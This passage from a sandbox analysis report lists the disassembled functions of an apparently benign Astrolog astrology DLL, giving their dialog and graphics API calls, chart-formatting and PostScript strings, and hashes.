GetDlgItemInt.USER32(?,00000475,00000000,00000001), ref: 6C85C071
GetDlgItemTextA.USER32(?,00000476,?,000000FF), ref: 6C85C087
IsDlgButtonChecked.USER32(?,00000533), ref: 6C85C0E5
IsDlgButtonChecked.USER32(?,0000052F), ref: 6C85C0F2
IsDlgButtonChecked.USER32(?,00000536), ref: 6C85C0FF
IsDlgButtonChecked.USER32(?,00000538), ref: 6C85C10C
IsDlgButtonChecked.USER32(?,0000052E), ref: 6C85C119
IsDlgButtonChecked.USER32(?,0000052D), ref: 6C85C126
IsDlgButtonChecked.USER32(?,00000535), ref: 6C85C133
IsDlgButtonChecked.USER32(?,00000534), ref: 6C85C140
IsDlgButtonChecked.USER32(?,00000532), ref: 6C85C156
IsDlgButtonChecked.USER32(?,00000527), ref: 6C85C163
IsDlgButtonChecked.USER32(?,00000531), ref: 6C85C170
IsDlgButtonChecked.USER32(?,00000539), ref: 6C85C17D
GetDlgItemTextA.USER32(?,00000477,?,000000FF), ref: 6C85C19B
GetDlgItemTextA.USER32(?,00000478,?,000000FF), ref: 6C85C1C1
IsDlgButtonChecked.USER32(?,000004B9), ref: 6C85C1DD
IsDlgButtonChecked.USER32(?,000004B7), ref: 6C85C1F2
IsDlgButtonChecked.USER32(?,000004BA), ref: 6C85C207
IsDlgButtonChecked.USER32(?,000004BB), ref: 6C85C21C
IsDlgButtonChecked.USER32(?,6C91DECC), ref: 6C85C251
_memset.LIBCMT ref: 6C85C27D
_memset.LIBCMT ref: 6C85C29C
IsDlgButtonChecked.USER32(?,00000537), ref: 6C85C2B9
IsDlgButtonChecked.USER32(?,6C92A9B4), ref: 6C85C2E7
EndDialog.USER32(?,00000001), ref: 6C85C303
CheckDlgButton.USER32(?,00000533), ref: 6C85C347
CheckDlgButton.USER32(?,0000052F), ref: 6C85C355
CheckDlgButton.USER32(?,00000536), ref: 6C85C363
CheckDlgButton.USER32(?,00000538), ref: 6C85C371
CheckDlgButton.USER32(?,0000052E), ref: 6C85C37F
CheckDlgButton.USER32(?,0000052D), ref: 6C85C38D
CheckDlgButton.USER32(?,00000535), ref: 6C85C39B
CheckDlgButton.USER32(?,00000534), ref: 6C85C3A9
SetDlgItemTextA.USER32(?,00000476,None), ref: 6C85C3CE
CheckDlgButton.USER32(?,00000532), ref: 6C85C3DC
CheckDlgButton.USER32(?,00000527), ref: 6C85C3EA
CheckDlgButton.USER32(?,00000531), ref: 6C85C3F8
CheckDlgButton.USER32(?,00000539,00000000), ref: 6C85C40C
SetDlgItemTextA.USER32(?,00000477,00000000), ref: 6C85C427
SetDlgItemTextA.USER32(?,00000478,00000000), ref: 6C85C442
CheckRadioButton.USER32(?,000004B7,000004B9,00000000), ref: 6C85C46E
CheckRadioButton.USER32(?,000004BA,000004BC,000004BB), ref: 6C85C498
CheckDlgButton.USER32(?,00000528,00010100), ref: 6C85C4C0
SetDlgItemInt.USER32(?,00000474,00000001), ref: 6C85C4DD
SetDlgItemInt.USER32(?,00000475,00000001), ref: 6C85C4ED
CheckDlgButton.USER32(?,00000537), ref: 6C85C4FB
CheckDlgButton.USER32(?,0000053A,00000000), ref: 6C85C523

Strings

aspect count, xrefs: 6C85C319
None, xrefs: 6C85C3C3
required object, xrefs: 6C85C0C7
text columns, xrefs: 6C85C30E

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Button$Checked$Check$Item$Text$Radio_memset$Dialog
String ID: None$aspect count$required object$text columns
API String ID: 3830697383-2213102871
Opcode ID: 71dd46e6bc8dd707d5f9e8e24b71707e7ddd3111e98366ca3cca3581d8bcf8e7
Instruction ID: fc27a2075b96d5873860c5b6f76489f5cfc2a85ee2e4b47e0b19d6bb50694690
Opcode Fuzzy Hash: 71dd46e6bc8dd707d5f9e8e24b71707e7ddd3111e98366ca3cca3581d8bcf8e7
Instruction Fuzzy Hash: CAD10AB2648304AFEB219F64DD86E7B7BF8EB5AB45F00082EF14096681D7B49604CF91

Function 6C85CF73 Relevance: 93.1, APIs: 49, Strings: 4, Instructions: 365windowCOMMON

Download Yara Rule

APIs

GetDlgItemInt.USER32(?,0000046F,?,00000001), ref: 6C85CFAB
GetDlgItemInt.USER32(?,0000046C,00000000,00000001), ref: 6C85CFB9
GetDlgItemInt.USER32(?,0000046D,00000000,00000001), ref: 6C85CFC8
GetDlgItemInt.USER32(?,00000470,00000000,00000001), ref: 6C85CFD7
IsDlgButtonChecked.USER32(?,00000523), ref: 6C85D021
CheckMenuItem.USER32(00009C8F,-00000008), ref: 6C85D046
IsDlgButtonChecked.USER32(?,00000524), ref: 6C85D062
IsDlgButtonChecked.USER32(?,0000051A), ref: 6C85D06F
IsDlgButtonChecked.USER32(?,0000051B), ref: 6C85D07C
IsDlgButtonChecked.USER32(?,00000518), ref: 6C85D089
IsDlgButtonChecked.USER32(?,00000520), ref: 6C85D096
IsDlgButtonChecked.USER32(?,00000521), ref: 6C85D0A3
IsDlgButtonChecked.USER32(?,00000525), ref: 6C85D0B0
IsDlgButtonChecked.USER32(?,0000051E), ref: 6C85D0BD
IsDlgButtonChecked.USER32(?,0000051D), ref: 6C85D0CA
IsDlgButtonChecked.USER32(?,0000051C), ref: 6C85D0D7
IsDlgButtonChecked.USER32(?,0000051F), ref: 6C85D0EC
IsDlgButtonChecked.USER32(?,00000519), ref: 6C85D0F9
IsDlgButtonChecked.USER32(?,00000522), ref: 6C85D10E
IsDlgButtonChecked.USER32(?,000004B8), ref: 6C85D133
IsDlgButtonChecked.USER32(?,000004B9), ref: 6C85D147
IsDlgButtonChecked.USER32(?,000004BA), ref: 6C85D15F
IsDlgButtonChecked.USER32(?,000004BF), ref: 6C85D1C5
IsDlgButtonChecked.USER32(?,000004C0), ref: 6C85D1D9
IsDlgButtonChecked.USER32(?,000004C1), ref: 6C85D1F1
EndDialog.USER32(?,00000001), ref: 6C85D20D
CheckDlgButton.USER32(?,00000523), ref: 6C85D264
SetDlgItemInt.USER32(?,0000046F,00000001), ref: 6C85D27A
CheckDlgButton.USER32(?,00000524), ref: 6C85D288
CheckDlgButton.USER32(?,0000051A), ref: 6C85D296
CheckDlgButton.USER32(?,0000051B), ref: 6C85D2A4
CheckDlgButton.USER32(?,00000518), ref: 6C85D2B2
CheckDlgButton.USER32(?,00000520), ref: 6C85D2C0
CheckDlgButton.USER32(?,00000521), ref: 6C85D2CE
CheckDlgButton.USER32(?,00000525), ref: 6C85D2DC
CheckDlgButton.USER32(?,0000051E), ref: 6C85D2EA
CheckDlgButton.USER32(?,0000051D), ref: 6C85D2F8
CheckDlgButton.USER32(?,0000051C), ref: 6C85D306
SetDlgItemInt.USER32(?,0000046C,00000001), ref: 6C85D316
CheckDlgButton.USER32(?,0000051F), ref: 6C85D324
CheckDlgButton.USER32(?,00000519,00000000), ref: 6C85D338
SetDlgItemInt.USER32(?,0000046D,00000001), ref: 6C85D348
CheckDlgButton.USER32(?,00000522), ref: 6C85D356
SetDlgItemInt.USER32(?,00000470,00000001), ref: 6C85D366
CheckRadioButton.USER32(?,000004B7,000004BD,000004BB), ref: 6C85D3C4
CheckRadioButton.USER32(?,000004BE,000004C1,000004C1), ref: 6C85D3F7

Strings

Biorhythm days, xrefs: 6C85D218
astro-graph step, xrefs: 6C85D232
wheel row, xrefs: 6C85D239
Arabic part, xrefs: 6C85D22A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Button$Checked$Check$Item$Radio$DialogMenu
String ID: Arabic part$Biorhythm days$astro-graph step$wheel row
API String ID: 2643506611-3563571515
Opcode ID: 4ba9876d494bcb0a56a79d4c4642f3d196eff0d3c8c249c479c51e7df8f30483
Instruction ID: 6222d9530f6da98429de058789b1a3226c39fa927e1604399c77e1ad1a0edb8e
Opcode Fuzzy Hash: 4ba9876d494bcb0a56a79d4c4642f3d196eff0d3c8c249c479c51e7df8f30483
Instruction Fuzzy Hash: BFB1E771B85308AAEB229F658E47F6A3EB9E743B44F50441BFA049BAC0D7F99010CF51

Function 6C824C0A Relevance: 75.7, APIs: 22, Strings: 21, Instructions: 480COMMON

Download Yara Rule

Strings

%czi "%s" "%s", xrefs: 6C824E71, 6C82501D
%-4.4s, xrefs: 6C82505E
Astrolog, xrefs: 6C824D40, 6C824FFA
%s%s, xrefs: 6C8251DC
%.3s: %2d %2d %10.7f, xrefs: 6C824ED5
%3d %.3s %12.9f,, xrefs: 6C8250C5
@AP%s ; %s chart positions., xrefs: 6C825004
%cqb %.3s %d %d %s %s , xrefs: 6C824DEC
H_%c: %2d %2d %10.7f, xrefs: 6C824FDA
%d%d%d%.2f%.2f%.2f%.2f, xrefs: 6C824D2D
[%c]: %3d %12.8f, xrefs: 6C824F4A
710, xrefs: 6C824D45, 6C824FFF
@AI%s ; %s chart info., xrefs: 6C824D4A
Autodetect, xrefs: 6C824DA9
%cYF , xrefs: 6C825044
%13.9f %13.9f, xrefs: 6C825194
File '%s' can not be created., xrefs: 6C824C64
%-4d, xrefs: 6C825066
%4d %13.9f,, xrefs: 6C825124
Can't output chart with no time/space to file., xrefs: 6C824C9A
%s %s, xrefs: 6C824E2B

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID:
String ID: %13.9f %13.9f$%-4.4s$%-4d$%.3s: %2d %2d %10.7f$%3d %.3s %12.9f,$%4d %13.9f,$%cYF $%cqb %.3s %d %d %s %s $%czi "%s" "%s"$%d%d%d%.2f%.2f%.2f%.2f$%s %s$%s%s$710$@AI%s ; %s chart info.$@AP%s ; %s chart positions.$Astrolog$Autodetect$Can't output chart with no time/space to file.$File '%s' can not be created.$H_%c: %2d %2d %10.7f$[%c]: %3d %12.8f
API String ID: 0-1133567577
Opcode ID: 788c4353936ca02f76d61fcde173038e43b5cba39377f61d753f7b27a37efe84
Instruction ID: 10cafb04c6f8fc01893dabdfb594262cbc89284a6c3cd83975193d4b3090e587
Opcode Fuzzy Hash: 788c4353936ca02f76d61fcde173038e43b5cba39377f61d753f7b27a37efe84
Instruction Fuzzy Hash: 51F15BB2A08608EADB316F68DE4E59D7B74FB86704F220D69E0C413E55DB3948A8C7D1

Function 6C813EF3 Relevance: 75.7, APIs: 22, Strings: 21, Instructions: 450COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6C813F60
_sprintf.LIBCMT ref: 6C813FDA
_sprintf.LIBCMT ref: 6C81406B
__floor_pentium4.LIBCMT ref: 6C81409A
_sprintf.LIBCMT ref: 6C8140B1
_sprintf.LIBCMT ref: 6C8140E5

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C814120

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

_sprintf.LIBCMT ref: 6C814161
_sprintf.LIBCMT ref: 6C814216
_sprintf.LIBCMT ref: 6C814245
__floor_pentium4.LIBCMT ref: 6C814286
_sprintf.LIBCMT ref: 6C81429D
_sprintf.LIBCMT ref: 6C8142C8
__floor_pentium4.LIBCMT ref: 6C814309
_sprintf.LIBCMT ref: 6C814320
_sprintf.LIBCMT ref: 6C81437E
_sprintf.LIBCMT ref: 6C8143C7
_sprintf.LIBCMT ref: 6C814417
_sprintf.LIBCMT ref: 6C814457

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C8144AF
_sprintf.LIBCMT ref: 6C8144EF
_memmove.LIBCMT ref: 6C814521

Strings

Num :, xrefs: 6C814435, 6C8144CD
%c , xrefs: 6C81415B
%2d%c, xrefs: 6C8143E4, 6C814415, 6C8144AD
%.3f, xrefs: 6C8140AB, 6C814297, 6C81431A
Plus zones: %d/%d = %.2f%% - , xrefs: 6C814378
%7.4f, xrefs: 6C8141F6
Plus House Sign Ret. Latit. Veloc. 18 12, xrefs: 6C813F8F
%5.2f, xrefs: 6C814207
%-4.4s: , xrefs: 6C813FD4
Body Sector , xrefs: 6C813F78
%7.5f, xrefs: 6C8141EF
Planets in plus zones: %d/%d = %.2f%%, xrefs: 6C8143C1
. , xrefs: 6C814464, 6C8144FC
%5.3f, xrefs: 6C814200, 6C814211
Zone:, xrefs: 6C8143D7, 6C814474
%2d, xrefs: 6C814065, 6C81423B, 6C814243, 6C8142C6
%2d , xrefs: 6C814451, 6C8144E9
%c, xrefs: 6C8140DF
Sec, xrefs: 6C81404C
[%2d%s house] , xrefs: 6C81411A
Plus House Sign Loc. Ret. Latitude Velocity Sec.18 Sec.12, xrefs: 6C813F82

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__floor_pentium4$CapsDevicePageTextViewport_memmove$ColorModeStartWindow__output_l
String ID: Num :$Plus zones: %d/%d = %.2f%% - $Zone:$ . $ Plus House Sign Loc. Ret. Latitude Velocity Sec.18 Sec.12$ %2d$ %2d $ %2d%c$ %c$ %c $ [%2d%s house] $%-4.4s: $%.3f$%5.2f$%5.3f$%7.4f$%7.5f$Body Sector $Planets in plus zones: %d/%d = %.2f%%$Plus House Sign Ret. Latit. Veloc. 18 12$Sec
API String ID: 3234483138-753478258
Opcode ID: d300a21f66827f4ae4178d5a5765b8663bfd9c8b04c3d65869078bbc26521cfd
Instruction ID: 2119b749d619bc9cb36e860bc876a74dfca32b2f1d9a7bfbb17a0ec7bf7f2504
Opcode Fuzzy Hash: d300a21f66827f4ae4178d5a5765b8663bfd9c8b04c3d65869078bbc26521cfd
Instruction Fuzzy Hash: 18F116729141499BCB309BA8DA45EEEB7B9EB85308F110C79D446A6F80DF75DD88CB80

Function 6C878F1B Relevance: 71.9, APIs: 20, Strings: 21, Instructions: 119COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C878F26
_fprintf.LIBCMT ref: 6C878F41

Part of subcall function 6C883864: __lock_file.LIBCMT ref: 6C8838AB
Part of subcall function 6C883864: __stbuf.LIBCMT ref: 6C88392F
Part of subcall function 6C883864: __output_l.LIBCMT ref: 6C88393F
Part of subcall function 6C883864: __ftbuf.LIBCMT ref: 6C883949

_fprintf.LIBCMT ref: 6C878F5A
_fprintf.LIBCMT ref: 6C878F74
_fprintf.LIBCMT ref: 6C878F89
_fprintf.LIBCMT ref: 6C878FB5
_fprintf.LIBCMT ref: 6C878FC5
_fprintf.LIBCMT ref: 6C878FD5
_fprintf.LIBCMT ref: 6C878FE9
_fprintf.LIBCMT ref: 6C878FF9
_fprintf.LIBCMT ref: 6C879015
_fprintf.LIBCMT ref: 6C87902D
_fprintf.LIBCMT ref: 6C87903D
_fprintf.LIBCMT ref: 6C879085
_fprintf.LIBCMT ref: 6C879095
_fprintf.LIBCMT ref: 6C8790A5
_fprintf.LIBCMT ref: 6C8790B9
_fprintf.LIBCMT ref: 6C8790C9
_fprintf.LIBCMT ref: 6C8790DC
_fprintf.LIBCMT ref: 6C8790F6

Strings

%%%%DocumentFonts: (atend), xrefs: 6C879032
%%%%BoundingBox: 0 0 %d %d, xrefs: 6C878FAA
Astrolog, xrefs: 6C878F64
%%!PS-Adobe-2.0, xrefs: 6C878F1B
%%%%Pages: 1 1, xrefs: 6C879022
%%%%Page: 1 1, xrefs: 6C8790D1
October 2020, xrefs: 6C878F79
EPSF-2.0, xrefs: 6C878F36
gsave, xrefs: 6C8790EB
/languagelevel where{pop languagelevel}{1}ifelse 2 lt{/sf{exch findfont exch dup type/arraytype eq{makefont}{scalefont}ifelse setfont}bind def/rf{gsave newpath4 -2 roll moveto dup 0 exch rlineto exch 0 rlineto neg 0 exch rlineto closepathfill grestore}bind, xrefs: 6C878FDE, 6C8790AE
%%%%BoundingBox: %d %d %d %d, xrefs: 6C87907A
%%%%Title: %s, xrefs: 6C878F4F
%%%%BeginSetup, xrefs: 6C878FCA
%%%%EndSetup, xrefs: 6C878FEE
%%%%EndProcSet, xrefs: 6C8790BE
7.10, xrefs: 6C878F5F
%%%%Creator: %s %s, xrefs: 6C878F69
%%%%CreationDate: %s, xrefs: 6C878F7E
%%%%EndComments, xrefs: 6C878FBA, 6C87908A
0 0 %d %d rc, xrefs: 6C87900A
%%%%BeginProcSet: common, xrefs: 6C87909A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf$__ftbuf__lock_file__output_l__stbuf
String ID: %%%%Title: %s$ EPSF-2.0$%%!PS-Adobe-2.0$%%%%BeginProcSet: common$%%%%BeginSetup$%%%%BoundingBox: %d %d %d %d$%%%%BoundingBox: 0 0 %d %d$%%%%CreationDate: %s$%%%%Creator: %s %s$%%%%DocumentFonts: (atend)$%%%%EndComments$%%%%EndProcSet$%%%%EndSetup$%%%%Page: 1 1$%%%%Pages: 1 1$/languagelevel where{pop languagelevel}{1}ifelse 2 lt{/sf{exch findfont exch dup type/arraytype eq{makefont}{scalefont}ifelse setfont}bind def/rf{gsave newpath4 -2 roll moveto dup 0 exch rlineto exch 0 rlineto neg 0 exch rlineto closepathfill grestore}bind$0 0 %d %d rc$7.10$Astrolog$October 2020$gsave
API String ID: 868309879-2695015111
Opcode ID: 533b446ad37c911f8a05e4114c564fa4e035dcf099179d6affd9323a92109d75
Instruction ID: 85288f04f0208ea609e36eb6e6be5775ce214669297d23c8fd22bdf71cf937fd
Opcode Fuzzy Hash: 533b446ad37c911f8a05e4114c564fa4e035dcf099179d6affd9323a92109d75
Instruction Fuzzy Hash: 6B41BC71703210BADF31262BAE0DE9E7A35970B79CB400C32B12467F71B7365E55EA84

Function 6C862D1A Relevance: 65.2, APIs: 10, Strings: 27, Instructions: 429COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C862DD0
_sprintf.LIBCMT ref: 6C862EC8

Strings

%s%s houses, xrefs: 6C862F9C
Special: Dwad mode, xrefs: 6C863193
Tropical, xrefs: 6C862FFB, 6C86300E
Heliocentric, xrefs: 6C862FCC
Special: Decan mode, xrefs: 6C86312A
Special: Geodetic houses, xrefs: 6C8630F4
Special: Navamsa mode, xrefs: 6C8631CF
No time or space, xrefs: 6C862D84
A, xrefs: 6C862E77
%s%cT Zone %s%s, xrefs: 6C862EC2
Geocentric, xrefs: 6C862FE6
2D , xrefs: 6C862F7C
Progressed To: %s, xrefs: 6C863237
Special: Harmonic %.7s, xrefs: 6C863164
Rotate: %.3s to %.3s%s, xrefs: 6C86306B
%.3s %s, xrefs: 6C862DCA
Solar: %.4s%s on %.3s, xrefs: 6C8630C5
Special: Dwad level %d, xrefs: 6C8631A0
's sign, xrefs: 6C863041, 6C863059, 6C8630B8
Sidereal, xrefs: 6C863008
3D , xrefs: 6C862F71
Special: Domal mode, xrefs: 6C86310F
Composite chart, xrefs: 6C862D98
Julian Day: %13.5f, xrefs: 6C8631F5
Topocentric, xrefs: 6C862FED
%s, %s, xrefs: 6C863012
Barycentric, xrefs: 6C862FD3

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %s%cT Zone %s%s$%.3s %s$%s%s houses$%s, %s$'s sign$2D $3D $A$Barycentric$Composite chart$Geocentric$Heliocentric$Julian Day: %13.5f$No time or space$Progressed To: %s$Rotate: %.3s to %.3s%s$Sidereal$Solar: %.4s%s on %.3s$Special: Decan mode$Special: Domal mode$Special: Dwad level %d$Special: Dwad mode$Special: Geodetic houses$Special: Harmonic %.7s$Special: Navamsa mode$Topocentric$Tropical
API String ID: 1467051239-3787655438
Opcode ID: 213b3e2a3432fd70a6b0b004b777886ac2c2bece1242e7269dca85944ea41b47
Instruction ID: 8ee2fa72432781fe7945ba566e0756a9e02c2ebd8d8249b4ac74d646fdd6cd47
Opcode Fuzzy Hash: 213b3e2a3432fd70a6b0b004b777886ac2c2bece1242e7269dca85944ea41b47
Instruction Fuzzy Hash: 88E10BB2B085459FCF31DFAADB49D893778E747318B250DA6E4109BF40D739A884CB91

Function 6C80D9E7 Relevance: 58.2, APIs: 20, Strings: 13, Instructions: 469COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80DA0B

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
